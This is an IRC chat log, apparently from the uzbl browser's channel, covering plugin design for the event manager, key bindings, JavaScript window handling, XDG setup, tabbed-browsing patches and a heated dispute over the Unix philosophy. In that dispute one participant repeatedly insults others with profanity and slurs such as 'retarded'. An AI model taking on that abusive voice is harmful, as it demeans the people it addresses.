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13:32 < mason-l> And I still don't know if I should make a mode plugin or handle the modes in the keycmd plugin.
13:32 < mason-l> or the bind plugin.
13:32 < mason-l> or use binds in the mode plugin.
13:33 < mason-l> So many options!
13:33 < mason-l> I might just go with something for the time being and change it if need be.
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13:40 < rob|> hmm, yeah
13:41 < rob|> that might be the best option
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14:32 < Dieterbe> imho bind, keycmd and modes are all about the same thing. monitoring keyboard input/state and triggering the right actions when needed
14:32 < Dieterbe> i would do it all as 1 plugin
14:40 < mason-l> This is where I disagree. While it could easily be done in one plugin theres no need to write 1000 line plugins, each plugin should do one thing and do one thing only.
14:41 < mason-l> (in their scope that is)
14:41 < ruskie> :)
14:42 < mason-l> And I've just added in --load-plugins, and --ignore-plugins command line options for the EM so the user has a finer control over whats loaded and what isnt/
14:42 < mason-l> And if he wants control over the modes he shouldn't have to lose keycmd's also.
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14:52 < rob|> especially since modes are just one possible way of keyboard interaction
14:52 < rob|> users might not want a modal uzbl at all
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14:56 < Dieterbe> well, then you could configure the 'big plugin' to not be modal.  i mean, the keybinds are totally different when being in other modes, how do you handle that when they are separate plugins?
14:57 < mason-l> Dieterbe, easy, you expose the get_mode() function in the mode plugin.
14:57 < mason-l> So I just mode = uzbl.get_mode()
14:57 < mason-l> if mode == "command" then ->
14:57 < Dieterbe> i see
14:57 < mason-l> and then uzbl.set_mode('custom_input')
15:01 < dgym> what is the prefered method to  bnd a key to open a new window?
15:02 < mason-l> dgym, Try: bind n _ = js window.open('%s');
15:02  * mason-l hopes that works.
15:02 < dgym> thank you. I that is the only method then I think js should have a variable expansion phase
15:05 < dgym> or maybe I have my escapes all wrong but this doesn't work:
15:05 < dgym> bind    G       = js alert('it is  @uri ... ')
15:05 < dgym> I am aiming for a duplicate current window binding... i.e. open current uri in new window
15:11 < dgym> ah, it can be done with Uzbl: bind    G       = js alert(Uzbl.run('print @uri'))
15:22 < dgym> js window.open('http://yahoo.com') isn't working. This is with checkout 9ffda40a...
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15:46 < dgym> would js window.open() not working be related to popup blocking?
16:13 < holizz> dgym, No.
16:14 < holizz> Grep for selected_url.
16:17 < devon> dgym, to answer your earlier question about mouse events.  I have no idea what the plans are to merge it or not (heck, maybe it's even happened) but krayon made a patch to add mouse binds: http://lists.uzbl.org/htdig.cgi/uzbl-dev-uzbl.org/2009-July/000217.html
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16:23 < dgym> thank you devon
16:23 < dgym> I think I can do what I want with a keyboard shortcut, but until I have figured out window.open I'm a bit stuck
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16:26 < dgym> I have updated my link_hover_cb to: set_var_value("hover_uri", uzbl.state.selected_url);
16:26 < dgym> so opening @hover_uri in a new window will get me what I want
16:27 < dgym> and the duplicate bind just needs to open @uri in a new window
16:27 < dgym> I'l ltake a look at adding an open_new_window function, because doing it via javascript seems to be a hack, and one that doesn't work at that
16:28 < devon> dgym, so one of my irritations in firefox is that I middle click nearly everything.  I kinda wish it *wouldn't* open a new window when it turns out to be a javascript linl
16:29 < devon> I may be crazy, but most of the time when the website is overloading the onclick event, you don't actually want it to open in a new window
16:29 < rob|> dgym: you might want to check out the "event-messages" branch and mason's event manager, that should make things easier and more powerfull
16:29 < devon> err tab
16:30 < Dieterbe> i just realized i've waited way too long before writing an instance selector script for wmii. this weekend i'll go for it
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17:14 < devon> Dieterbe, sorry, I did a pull request on master, I'm still getting the hang of git (this is the first time I've used it)
17:14 < devon> Dieterbe I rerequested the pull on experimental
17:15 < Dieterbe> np
17:15 < devon> just a simple patch to uzbl_tabbed.py
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17:16 < mason-l> Hey devon
17:16 < devon> and a launch script to let externally clicked urls either open a new tab or a new uzbl_tabbed if one is not running
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17:16 < devon> hey mason-l
17:16 < Dieterbe> devon: can you send it to the ML instead of through pm's?
17:16 < devon> np
17:16 < devon> I'll go sub to that
17:17 < Dieterbe> sub?
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17:18 < devon> subscribe
17:18 < mason-l> Dieterbe, I've pulled devon's patch already but didn't push the changes because there was a uzbl_tabbed.py launcher in the commit.
17:18 < mason-l> Otherwise his changes are great.
17:18 < mason-l> devon, Ideally the launcher script should go on the uzbl_tabbed wiki page.
17:19 < devon> ok, np
17:19 < mason-l> http://www.uzbl.org/wiki/uzbl_tabbed
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17:26 < devon> mason-l I note that the wiki's fifo documentation is behind current.  should I wait for the patch to get to master before I add the documentation?
17:28 < mason-l> devon, Go right ahead and add it, I'll have your changes pushed to my experimental in no time.
17:28 < ruskie> hmm need to file that bug
17:29 < mason-l> And the experimental is linked on the wiki page.
17:30 < devon> k
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17:34 < ruskie> Dieterbe, filed ;)
17:35 < Dieterbe> good good
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17:42 < dgym> after updating on_hover_cb to save an @hover_uri variable, and adding a create_new_window command that expands its parameter, I have what I want
17:42 < dgym> but I can't help but wonder
17:43 < ruskie> when this will break or be replaced by the event manager?
17:43 < dgym> why isn't javascript used for all the command handling?
17:43 < ruskie> what command handling?
17:44 < dgym> currently a line is read, parsed, sent to a command handler which may or may not remember to expand variables...
17:45 < dgym> every statement in a config file is in this strange ad hoc language, with its own quoting behaviour
17:45 < mason-l> devon, I've pushed your patch. Heres the commit http://github.com/mason-larobina/uzbl/commit/8cbb509588d97513ced7e89601903e9678d7ace5 & CC: Dieterbe.
17:45 < dgym> e,g, bind    S         = stop
17:45 < devon> thanks :)
17:45 < ruskie> dgym, look at the ML archives and chat logs etc...
17:45 < ruskie> you'll see that not everyone wants javascript for config
17:45 < ruskie> also bindings are being moved to event manager
17:45 < ruskie> from what I understand
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17:46 < Dieterbe> yea
17:47 < dgym> I can't see what this adhoc config language has that outweighs the benifits of the established language that is already included in the project
17:47 < dgym> but I'll go educate myself
17:47 < dgym> thanks
17:47 < ruskie> dgym, because it's specific not a general purpose language
17:49 < devon> ruskie, javascript?  It's turing complete
17:49 < ruskie> devon, correct... way overkill for a configuration language
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17:50 < devon> oh, gotcha, my read of your statement was reversed from what you meant
17:50 < dgym> creating a new language for configuration is way overkill :)
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17:51 < Dieterbe> well guess what.. you can now handle any event in whichever language you want
17:51 < ruskie> :)
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17:52 < devon> dygm in some ways it's the same argument as vim vs emacs - a config language or lisp
17:53 < Dieterbe> oh dear .. :P
17:53 < dgym> actually my arument was purely practical. the config code is a mess, with expansion being handled willy nilly, and yet there is this javascript engine lying about that would actually be easier to work with
17:54 < dgym> a more defined syntax, easier to code with and for
17:54 < dgym> I would just see it as an obvious simplification
17:55 < ruskie> dgym, considering most if not all of the config will now be handled complety outside of uzbl?
17:55 < ruskie> though the event manager?
17:55 < ruskie> which can be whatever you like
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17:57 < dgym> the event manager must talk to uzbl somehow though
17:57 < dgym> I bet that syntax looks just like the command syntax :D
17:57 < ruskie> doubt it
17:58 < ruskie> basically you get an event: keypress "a"
17:58 < ruskie> then you do what you want with that event
17:59 < dgym> the event must be text-encoded to be sent to the event manager
17:59 < ruskie> it is plain text
17:59 < Dieterbe> dgym is right: if you want uzbl to _do_ something based on some event logic, then yes, you need to supply it a command in our own little 'language'
17:59 < ruskie> but what's your point
17:59 < Dieterbe> yeah plaintext, simple format
18:00 < dgym> my point is that it might be interesting, simple, and more powerful to just plug into javascript for all of this.
18:00 < dgym> just how web sites send javascrpt to the client
18:01 < dgym> the event managers can send javascript to the client
18:01 < ruskie> anyway this whole it should be javascript argument has been argued to death and back again I think
18:02 < dgym> i'm not saying it should , just that it could
18:02 < dgym> if the idea isn't completely alien then that is a good sign, some people might benefit from the option
18:03 < ruskie> ow so you mean have both available?
18:03 < dgym> and I might benefit from having a little play
18:04 < dgym> you already have both "available", just one hasn't had some of the functionality enabled
18:04 < dgym> it really shouldn't be too much code to add that functionality though
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18:07 < dgym> This whole project seems pretty experimental right, and it is awsome. More experiments might add more awsome.
18:08 < ruskie> I don't see anything experimental about it
18:11 < hagna> so is a javascript alert an event
18:11 < hagna> ?
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18:11 < dgym> ooo, that would be a good one
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18:31 < lbrandon> Hello. I'm still figuring uzbl out, (i just started using it on my gentoo box. great job btw) and I'm curious about the XDG items. Do I have to set these variables manually? Or are they automagically set?
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18:38 < bct> lbrandon, on gentoo you have to set them manually
18:39 < bct> or maybe your DE is supposed to set them.
18:39 < bct> but they were not automatically set for me, i put them in my .xinitrc.
18:42 < lbrandon> ahhh, alright. I use dwm, so I don't use a DE. Thanks :)
18:42 < ruskie> the way I understand it if indefined should default to default locations
18:43 < lbrandon> well when I run uzbl from term I get a bunc of errors like :  (Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/cookies.py")
18:44 < mason-l> lbrandon, I had the same problem (my xdg variables not being set).
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18:45 < opqdonut> hi, is there any way to make uzbl jump into insert mode when a text field is activated?
18:46 < mason-l> opqdonut, Maybe. You could use js to make every text area run Uzbl.run('<the set insert command>'); when clicked.
18:46 < lbrandon> mason-l: did you do as bct and set them in you xinitrc, or did you do it another way?
18:47 < mason-l> lbrandon, Actually all I did was install x11-misc/xdg-utils
18:47 < mason-l> :)
18:48 < lbrandon> ah, thanks for the tip :)
18:48 < mason-l> I think we need a series "Tips for running uzbl on X".
18:51 < N30N_> opqdonut: yep, http://www.uzbl.org/wiki/insert-mode
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18:56 < hagna> I use rp
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19:05 < opqdonut> N30N_: thanks
19:08 < mason-l> rob|, Can you reproduce a bug I'm seeing on your end for me.
19:08 < mason-l> *On my end on your end.
19:11 < mason-l> (1) Hold <Alt> (2) KEY_PRESS raised (3) click and drag the window (4) release Alt (5) if you are still holding the mouse down no KEY_RELEASED is raised for <Alt>!
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19:37 < opqdonut> err, can't i addEventListener the same function twice?
19:37 < opqdonut> (trying to combine inputmode_onfocus and inputmode_onclick into one file...)
19:38 < Dieterbe> mason-l: so what should i do with devon's bring_to_front  and launch script? will i pull this in through you?
19:41 < mason-l> Dieterbe, I've already pulled in his uzbl_tabbed.py changes and pushed them to my experimental.
19:41 < mason-l> And I've tested them on my machine.
19:42 < mason-l> The launcher I think is more appropriately placed on the wiki.
19:42 < N30N_> opqdonut: ??? clicking a element will give it focus, so you should only need the onfocus insert-mode script
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19:44 < opqdonut> ok.
19:45 < opqdonut> the problem then seems to be that the focus event gets fired only randomly or something
19:46 < opqdonut> weird
19:47 < opqdonut> the focus eventlistener didn't work if i booted uzbl and opened google.com
19:47 < N30N_> opqdonut: some sites will give input elements focus, so if you use the onfocus version it'll stickyou into insert mode when ever
19:47 < opqdonut> but if i did a search, it started working
19:47 < opqdonut> yes, i kept a close eye on the mode indicator
19:48 < opqdonut> next up: is there a way to cycle focus like tab does in other browsers
19:48 < N30N_> opqdonut: that's why there's a onclick script (I wouldn't use the onfocus one if I where u)
19:48 < opqdonut> oh, go-input has something like this
19:49 < N30N_> opqdonut: tab works the same as other browsers, you just need to be in insert mode
19:49 < opqdonut> ah, sweet
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19:56 < opqdonut> ok, how can i customize the key bindings for insert-mode?
19:56 < opqdonut> are the text areas etc gtk things?
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20:11 < mason-l> Dieterbe, Also I'm thinking about removing that feature I added the other day which converts "def export_function_name(..):" to :uzbl.<function_name>" in favour of an "__export__ = ['function_name',]" in the plugin somewhere.
20:11 < Dieterbe> mason-l: whatever you think is best..
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20:12 < mason-l> I think its for the best. I've given both a try and I like the export list better.
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20:35 < devon> mason-l do you have any sort of mechanisim for extending uzbl_tabbed without modifying it currently?
20:35 < mason-l> devon, Apart from the options inherited from the uzbl config: no.
20:36 < devon> mason-l, so currently I keep like a *lot* of firefox tabs open (100+ across 2 windows).  to make that workable, I use threaded tabs
20:37 < mason-l> Threaded tabs?
20:37 < devon> every use a threaded mail reader?
20:37 < mason-l> nope?
20:38 < mason-l> Do you mean like hierarchical branching?
20:38 < devon> ok, so in a threaded mail reader, you would have 1 line in your mail reader for each conversation, and when you expand it, all the replies will be below it.  But, if any message below it has responses, they will be on another level below them
20:38 < devon> yeah
20:38 < devon> in the case of firefox, the parent tab is the parent in the heirarchy
20:40 < devon> this is an example implementation: https://addons.mozilla.org/en-US/firefox/addon/5447
20:41 < ruskie> hmm that sounds interesting
20:41 < ruskie> kazehakase had something along those lines though they weren't real tabs but a treeview with the hierachy
20:41 < ruskie> s/had/has/
20:42 < devon> gotcha
20:42 < devon> for history?
20:42 < devon> or for open uzbl windos
20:42 < ruskie> for open
20:42 < ruskie> would be nice to have that for uzbl as well
20:43 < bct> do they all have to actually be open?
20:43 < bct> because it would be pretty easy to have a threaded "future" (as opposed to history)
20:43 < devon> so I use a heirarchy of tabs as my mind map of my history researching some topic.  my ultimate goal is to be able to research something, have it permanently record the heirarchy, and be able to open the whole thing when I want to go back to it
20:43 < ruskie> ahh
20:43 < ruskie> so you want bookmarks in that as well
20:44 < devon> bct that's a reasonable idea - i would like it to be able to have both open windows, and placeholders for things I havn't looked at yet
20:44 < devon> ruskie sort of, but I'll take it further
20:44 < bct> i find most of the time i use open tabs as just a stack of things to look at later
20:44 < bct> which is kind of wasteful.
20:45 < devon> bct exactly
20:45  * ruskie thinks a custom UI would be more useful for research
20:45 < devon> I have a lot of ideas
20:45 < devon> because I'm very wastful with my tabs now
20:45 < ruskie> maybe with embeded browser, note taking app, mindmapping etc...
20:45 < ruskie> hell could be 3-4 diff apps just interlinked
20:45 < devon> ruskie yeah, that's kind of where I'm going with this
20:46 < ruskie> I tend to have tabs in specific orders... i.e. el-reg at the top then talk.maemo, various local news sites, linuxfordevices, lxer, and under all that my current stuff I'm researching generally
20:46 < devon> I would also tag the research map, maybe with the google search terms, and hit maybe delicious for each page in the heirarchy for other tags
20:46 < devon> then weight each page based on time seen before closing to get some level of importance
20:47 < ruskie> so half the vertical tab tends to be full most of the time
20:47 < ruskie> would be nice to be able to have tabbed tabs actually
20:47 < ruskie> i.e. tab groups basically
20:47 < dgym> you could add things you want to look at later to a side bar rather than opening up a tab
20:47 < devon> the threaded tabs are basically that
20:48 < devon> it's jsut a different presentation
20:48 < devon> my other specialized browser is I want to make an article queue
20:49 < devon> all the links and crap that people send to you during the day that you may not be able to get to
20:49 < devon> or rss stuff that you open but don't get a chance to read
20:49 < devon> that kidn of thing
20:49 < devon> enable the ability to append the url to a queue
20:49 < devon> and the ability to pop it
20:50 < ruskie> hmm
20:50 < devon> so that you can close the tab to not waste the memory
20:50 < ruskie> I more or less have an automated queue in irssi
20:50 < ruskie> just need to link that to a tail or something
20:50 < ruskie> and of course a separate instance of uzbl_tabbed
20:50 < bct> ruskie: automated queue? details?
20:50 < bct> irc might not be a bad place to store it.
20:50 < bct> i experimented with a web-based queue but it was kind of a pain
20:50 < ruskie> urlgrab.pl that grabs any links posted :)
20:51 < devon> I do all my rss via imap
20:51 < ruskie> and stores them into a file
20:51 < bct> what happens to them once they're grabbed?
20:51 < bct> ah
20:51 < ruskie> of course could probaly make the file a socket and feed it someplace else
20:51 < devon> I ahve a cron job that scrapes the rss feeds and then logs in and creates messages in appropriate folders
20:51 < ruskie> I don't follow rss
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20:51 < ruskie> though I've gotten requests from a few people that I rss my linkspam
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20:52 < ruskie> wc -l .urllog
20:52 < ruskie> 305630 .urllog
20:52 < ruskie> got a lot of logged urls ;)
20:52 < devon> wow
20:52 < ruskie> this has been running constantly for like 2-3 years if not more
20:52 < ruskie> actually not even that
20:53 < ruskie> 2008-02-21 is the first logged url
20:53 < ruskie> 27M big file :)
20:53 < dgym> ever get stuck for something to read?
20:53 < ruskie> constantly :)
20:53 < ruskie> I don' look through all of them :)
20:56 < ruskie> but if I'm really bored something like: for i in $(grep "http://www.youtube.com/watch" .urllog) ; do mplayer $(youtube-dl -b "$i") ; done works well :)
20:57 < ruskie> gaaahhh I hate people that rely on the "global address book"... grumbl
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21:02 < dgym> I have just finished adding the js function Uzbl.open_new_window()
21:02 < dgym> it wasn't any more complicated to write than adding a uzbl open_new_window command
21:03 < dgym> but it is quite a bit more powerful, I think I will play with this some more
21:07 < mason-l> How was that for a guess earlier! "rewrite examples/data/uzbl/scripts/plugins/keycmd.py (72%)" Off by 2%
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21:07 < ruskie> lol
21:10 < devon> mason-l So in order to make so of these apps I'm interested in, I would kind of like to be able to use uzbl_tabbed.py as a library
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21:11 < devon> there are some changes that would need to be made to make that happen (so for example to allow something extending it to dynamically add more fifo commands)
21:12 < mason-l> I suppose, I haven't really been following the conversation.
21:12 < devon> if I make some of those changes, you willing to consider merging them (if the quality is acceptable)>
21:12 < devon> (or I should say review them)
21:13 < mason-l> Don't let me stop you (but if the patches are genuinely useful & well written I'd be a fool not to pull them in).
21:13 < devon> great :)
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21:19 < lbrandon> does anyone else have problems with flash using uzbl? or could this simply be related to x86_64?
21:19 < mason-l> Dieterbe & rob|: I've pushed my days worth of commits. You both should check them out. And Dieterbe: I've un-hardcoded the Escape key (so it can be custom bound in the mode plugin to come).
21:20 < Dieterbe> ah good. i have to go though
21:20 < mason-l> http://github.com/mason-larobina/uzbl/commits/event-messages
21:20 < Dieterbe> tomorrow evening is the earliest i can start catching up
21:21 < mason-l> Dieterbe, No problem. I need to catch up on some sleep now :)
21:21 < N30N> lbrandon: uzbl, flash and x86_64 all working fine here
21:21 < opqdonut> sweet, i've been needing a custom-bound esc anyway
21:21 < lbrandon> N3ON: hmm. that's weird. both kongregate and facebook crash on me, or leave me next to unresponsive when i open them with uzbl.
21:22 < Dieterbe> mason-l: good night!
21:23 < mason-l> I will!
21:23 < lbrandon> good night mason-l. thanks for the help, earlier. it works perfect now.
21:24 < N30N> lbrandon: there is a WebKit bug what makes it crash if compiled on x86_64 with gcc 4.4 on some JavaScript, donno if it's been fixed (still used a copy compiled with 4.3)
21:24 < mason-l> lbrandon, No problem.
21:25 < lbrandon> N30N: I use gcc-4.3.3
21:25 < N30N> lbrandon: and flash workd fine in other browsers?
21:26 < lbrandon> It worked fine in firefox, the only other browser i use.
21:26 < lbrandon> this is the first webkit-based browser I've used
21:28 < lbrandon> but, from what I gather, this shouldn't be bugged as uzbl, then, but webkit-gtk?
21:28 < opqdonut> is it possible to bind the space key? bind " " = foo doesnt seem to work
21:28 < N30N> lbrandon: strange, someone else here may be able to help you out if you provide a bt http://www.uzbl.org/wiki/debugging_crashes
21:29 < N30N> opqdonut: currently no, only via JavaScript
21:30 < opqdonut> ok
21:34 < opqdonut> hmm, segv
21:35 < opqdonut> can't reproduce
21:35 < opqdonut> basically "assertion `window != NULL' failed" after a routine reload
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21:42 < lbrandon> Okay. I am running uzbl with gdb, but it's still locking up and nothing appears in the debug. I mean, when it loads, a new thread is created, and then closed. but that's it
21:44 < lbrandon> well, okay now it loaded. but it took rather longer than before I compiled adobe-flash
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23:03 < nebopolis> does anyone know how to bind the spacebar to an action?
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23:25 < nebopolis> never mind, I found that binding to spacebar is in the todo. Thanks to the devs for the work that they have done so far!
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05:56 < steltho> Is there a way to have uzbl render html that is piped to STDIN?
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06:00 < uriel> you would think that if uzbl had a single line of code conforming to 'the Unix Philosophy' uzbl would render html piped from stdin *by default*
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06:00 < uriel> of course that is a huge *if*
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06:01 < steltho> I could not find a way to do it.  Maybe if I have some time I'll write a patch.
06:02 < uriel> but I fear that the uzbl developers could not tell the difference between the Unix Philosophy and the back end of a donkey even using a magnifying glass
06:04 < scj> is that some sort of prequisite?
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06:05 < uriel> scj: ?
06:06 < scj> for a browser to conform to 'the Unix Philosophy'?
06:06 < uriel> scj: I would say it is more like impossible, but the uzbl developers claim to conform to it...
06:07 < uriel> 04:04 -!- Topic for #uzbl: Uzbl is a browser that adheres to the unix philosophy.
06:08 < scj> problem is that there are different views on what conformity to 'the Unix Philosophy' entails, and the fact that the web is more or less actively hostile towards it
06:11 < scj> you can render piped html, you just need to transform it via uzblcat http://www.uzbl.org/wiki/html-mode
06:12 < scj> due to the design choice of allowing 'cat config | uzbl' aswell
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06:29 < steltho> scj: Thanks.
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06:36 < mason-l> Hey guys
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07:40 < uriel> cat config |uzbl, have you ever heard of *any* unix app with such a retarded design?
07:42 < ruskie> rofl
07:42 < ruskie> you don't need to do it that way if you don't want to ;)
07:45 < krayon> It really just needs to support: uzbl -u -
07:45 < mason-l> uriel, Thanks for the patches and less complaining.
07:45 < ruskie> rofl
07:45 < ruskie> maybe uriel just prefers netsurf more ;)
07:46 < krayon> I tried that but reconfiguring requires re-compilation
07:46 < ruskie> I didn't find it that bad
07:46 < krayon> It couldn't replace firefox for me ... but uzbl did :P
07:47 < ruskie> though I wish I could have uzbl-frontend and then just have backends that would use either gecko, webkit, netsurf, dillo, elinks, etc...
07:48 < krayon> oh wait... netsurf isn't the one I tried... I tried something else... it was webkit based
07:50 < ruskie> midori?
07:50 < ruskie> aurora?
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07:56 < uriel> why the fuck does a web browser need any damned 'configuration'?
07:56 < uriel> does cat and grep need 'configuration'?
07:57 < ruskie> because there's a LOT you can do with a webbrowser
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07:58 < mason-l> uriel, Are grep & cat GTK applications?
07:58 < ruskie> if you do not like it you are free to use curl or wget and your favorite text editor
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07:58 < uriel> ruskie: were have I heard "do one thing and do it well", I can't quite remember...
07:59 < ruskie> uriel, sadly browsing isn't one thing
07:59 < ruskie> as much as we might want it to be
08:01 < uriel> so you configure gmail with the uzbl config file? or what?
08:02 < ruskie> if you wanted that you would need to have a separate tool for html rendering, separate for javascript processing, separate for editing html forms, etc...
08:02 < ruskie> erm
08:02 < ruskie> you configure how uzbl behaves
08:02 < ruskie> what keys do what etc...
08:03 < scj> uriel: just out of curiosity, are you from slashdot perchance?
08:03 < mason-l> uriel, I missed the part were gmail was a _desktop application_ that conforms to 'the Unix Philosophy'.
08:03 < uriel> scj: are you from under a rock per chance?
08:03 < ruskie> I'm suspecting he might be from plan 9 though he is joined to suckless on oftc
08:04 < scj> uriel: no u
08:04 < uriel> blah, and here I was thinking I was famous! I must make more outrageous statements more often
08:04 < ruskie> lol
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08:19 < Hyperion2010> does anyone know how to bind a key to page up/down in the config?
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08:23 < uriel> scj: so, other than adhominem, do you have any answer to my questions?
08:24 < Hyperion2010> nm, found it
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08:54 < rob|> morning.
08:54 < ruskie> lo
08:56 < rob|> oh, uriel made it into here ;)
08:57 < uriel> yea, so did a whole bunch of clueless fools it seems
08:57 < rob|> well, the world is full of them. but hey, whom do i tell that...
08:58 < uriel> haha
08:58 < ruskie> considering this isn't as elite a setting as suckless since normal people can actually use it...
08:58 < uriel> suckless is 'elite'? uhu? suckless has been flooded with retards for quite some time
08:59 < ruskie> maybe but most of the software is not configurable unless you are willing to code the changes
08:59 < uriel> just a few days ago, among other things, there were people in the suckless list suggesting one should use HTML for typesetting, one can't make up this kind of drug induced crap
08:59 < uriel> ruskie: the whole thing is a farce, dwm has that abomination of a config.h
09:02 < mason-l> Hey rob|
09:03 < rob|> hey mason
09:03 < mason-l> rob|, Did you check out my commits last night?
09:03 < rob|> i did in a hurry, looks quite nice as far as i can tell
09:04 < uriel> rob|: so what the fuck is this shit with reading the configuration from stdin?
09:04 < uriel> oh, maybe you had told me already?
09:05 < uriel> like you pick new config options on the fly?
09:05 < ruskie> anyway each person has their own likes/dislikes :)
09:05 < uriel> ruskie: yes, and I like unix tools, and this shit aint it
09:05 < rob|> uriel: well, the idea is to enable scripts to change behaviour on the fly
09:07 < uriel> and really, why on earth would that be needed if uzbl is just a web browser?
09:07 < rob|> uriel: also rendering html from stdin (fifos, unix domain sockets) is easiyl done using the data uti scheme
09:07 < uriel> 'data util scheme'? wtf?
09:07 < rob|> data uri scheme, typo
09:07 < uriel> *yuck*
09:07 < rob|> set uri = data:text/html,<your html here>
09:08 < uriel> yes, I know what you mean
09:08 < uriel> that is so sick that words fail me
09:09 < uriel> so, why does uzbl need to change its configuration on the fly? (hell, why on earth does it need *any* configuration)
09:09 < uriel> (other than perhaps proxy settings, and a couple of other things that should be done with command line flags perhaps, or at most a dot file)
09:09 < uriel> (or env var)
09:09 < rob|> because it's meant to be a framework upon which you can build your very own browser in any language
09:10 < rob|> we just happen to have a default "configuration" that resembles one possible way of what uzbl could be
09:11 < uriel> so, then it has fucking nothing to do with unix
09:11 < uriel> last I checked grep doesn't let you 'use whatever regexp language you like'
09:11 < rob|> things are in a constant change, we now even handle events (like page load, button press, ...) outside of uzbl
09:12 < ruskie> uriel, it does...
09:12 < rob|> so 3rd party application just watch for such events (in form of text streams) and react to them in some way
09:12 < opqdonut> uriel: don't think grep, think mail(1)
09:12 < opqdonut> or ed
09:12 < ruskie> -E, --extended-regexp -F, --fixed-strings -G, --basic-regexp -P, --perl-regexp
09:12 < uriel> rob|: for such stuff just implement a plumber-like functionality and be done with it
09:13 < uriel> opqdonut: so does ed let me use whatever language I want? uhu?
09:13 < uriel> ruskie: ok, you are even more totally fucking clueless and retarded than I thought
09:13 < opqdonut> uriel: no, but it's a minimal editor "engine"
09:13 < uriel> opqdonut: er, no, ed is a text editor
09:13 < uriel> a text editor that follows the Unix philosophy
09:14 < ruskie> uriel, you said grep... that's from grep --help :)
09:14 < uriel> last I checked ed has no configuration whatsoever
09:15 < uriel> ruskie: oh dear God in the sky, what I have I done to deserve being punushed by tawts like this? in any case, please send them to hell which is the only place where they can belong, because their ignorance is too great for anything else
09:15 < uriel> I mean, WHAT THE FUCK
09:15 < rob|> sure, but it has a set of commands that allow you to control behaviour, just as uzbl does
09:15 < uriel> since fucking when does *ANY* unix command have --help options?
09:16 < uriel> rob|: commands != configuration
09:16 < ruskie> ahh so talking pure unix here then...
09:16 < ruskie> to many unix variants to actually care much
09:16 < uriel> ruskie: 'pure unix'? wtf is that? either something is unix, or it isn't
09:16 < rob|> uriel: well, uzbl has no configuration if you look at it in that way it just interpretes commands (on the fly, like ed)
09:17 < opqdonut> uriel: oh so there is some canonical definition of unixness?
09:17 < ruskie> opqdonut, apparently
09:17 < rob|> anyways, need to run. see you guys later
09:17 < uriel> rob|: that is an interesting way to look at it, but I dont buy it, with all that set foo = bar shit
09:18 < opqdonut> btw uriel, could you drop the cusswords
09:18 < opqdonut> they're not helping the conversation
09:18 < opqdonut> you're starting to sound like tuomov ;)
09:18 < uriel> opqdonut: nor is your bitchy whinnying shit about fucking swearing
09:18 < uriel> from what I remember tuomov was fairly civilized
09:19  * ruskie picks up some popcorn sits back and enjoys the show
09:19 < uriel> had some really fucked up ideas, but at least he had some original thinking, and realized how full of shit all the lunix shit is
09:19 < keis> I believe vi has a set command, and you would agree vi is unix, right?
09:19 < uriel> keis: er, you got to be kidding
09:19 < uriel> vi is certainly *not* unix
09:20 < uriel> and the least is said about vim, the better, it makes emacs look sane, concise and elegant
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09:20 < opqdonut> uriel: i didn't say tuomov didn't have good (or at least interesting ideas)
09:20 < keis> >>vim
09:20 < keis> lold
09:21 < opqdonut> as a matter of fact i think he does
09:21 < Dieterbe> who is tuomov?
09:21 < opqdonut> Dieterbe: maintainer of ion
09:21 < opqdonut> his ideas just sometimes suffer from being presented so crudely
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09:22 < Dieterbe> i see
09:22 < uriel> I think he has got some rather stupid ideas, and his code *stinks* (at least last I looked at it, which was some years ago), but he has got better taste than most lunix morons, and can see how much crap X and other such shit are
09:22 < opqdonut> ok so uriel, tell me: how does "normal browsing" happen with your hypotethical unix browser
09:22 < holizz> Isn't ion the one where he decided open source wasn't a good idea and decided to write closed-source window managers?
09:22 < ruskie> opqdonut, I'm guessing he might mean "surf"
09:22 < opqdonut> holizz: it's still open source
09:23 < ruskie> opqdonut, http://surf.suckless.org/
09:23 < Dieterbe> ruskie: i don't think so. you should check out the 'talk about sane web browsers' talk on the suckless list
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09:23 < Dieterbe> s/talk/thread/
09:23 < opqdonut> Dieterbe: is there an archive?
09:23 < uriel> opqdonut: try abaco or mothra, it is the closest I have seen
09:23 < Dieterbe> yeah
09:23 < ruskie> Dieterbe, devel one?
09:24 < opqdonut> IMO the best software are light engines customizable with a real programming language
09:24 < ruskie> Dieterbe, or hackers?
09:24 < Dieterbe> ruskie: don't remember
09:24 < uriel> surf btw is a pathetic joke as far as I can tell
09:24 < snowian> Hi,i'm new bee to uzbl, i like to ask an question that can uzbl have scroll and fit his size with my desk screen?
09:24 < opqdonut> like emacs (could be lighter, but the idea is ok), ion, uzbl
09:25 < uriel> opqdonut: emacs and ion certainly have absolutely fucking nothing to do with the unix philosophy (and the same seems to be the case with uzbl)
09:25 < ruskie> Dieterbe, ahh netsurf :)
09:25 < opqdonut> uriel: i didn't mention the unix philosophy
09:25 < uriel> opqdonut: read the topic of this channel
09:25 < holizz> opqdonut, Ion3: not OSD/DFSG-compatible: http://packages.debian.org/changelogs/pool/non-free/i/ion3/ion3_20080825-1/ion3.copyright
09:26 < opqdonut> holizz: whatever, the code is open
09:26 < ruskie> uriel, then why do you support netsurf so much sinc last I checked it also had a lot of configuration options
09:26 < opqdonut> uriel: well the topic wasn't written by me either
09:29 < uriel> ruskie: I support the development of the netsurf rendering engine
09:29 < uriel> which is actually something useful and of value, unlike anything in uzbl or surf which simply are coats of paint on top of the webkit turd
09:30 < uriel> the netsurf interface is a fucking joke and totally irrelevant
09:30 < ruskie> I agree on the rendering engine stuff
09:31 < opqdonut> the gtk dependency irks me
09:31 < opqdonut> (and makes input boxes almost unusable ;)
09:31 < ruskie> uriel, http://ruskie.codemages.net/braindump/2006-12-25.html a rant about browsers from me from a while ago if you're interested in reading... or anyone else for that matter
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09:39 < mason-l> Hey rob|: Are you back?
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09:54 < mason-l> Dieterbe & rob|: I got my bind plugin working :D
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10:26 < Dieterbe> does anyone have a good reason why i wouldn't move the event messages code from event-messages to experimental?
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10:26 < MichaelRaskin> Dieterbe, because they can be moved directly to master? </troll>
10:27 < ruskie> :)
10:27 < Dieterbe> :D
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10:55 < rob|> re
10:55 < ruskie> wb
10:58 < rob|> mason-l: bindings are working? now that is some great news!
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10:59 < rob|> also the event manager _is_ actually very similar to p9 plumbing
11:00 < Dieterbe> rob|: you know stuff about p9 ?
11:01 < rob|> yeah, i like a lot of their ideas and plumbing is actually one of the nicest parts of p9
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11:02 < rob|> though, rio is a pain in the ass
11:03 < opqdonut> yeah, plumbing is nice
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11:48 < mason-l> rob|, Yeah but I need help tracking down a bug in uzbl-core.c
11:48 < mason-l> Wait.
11:48 < rob|> the move window while holding a modifier thing?
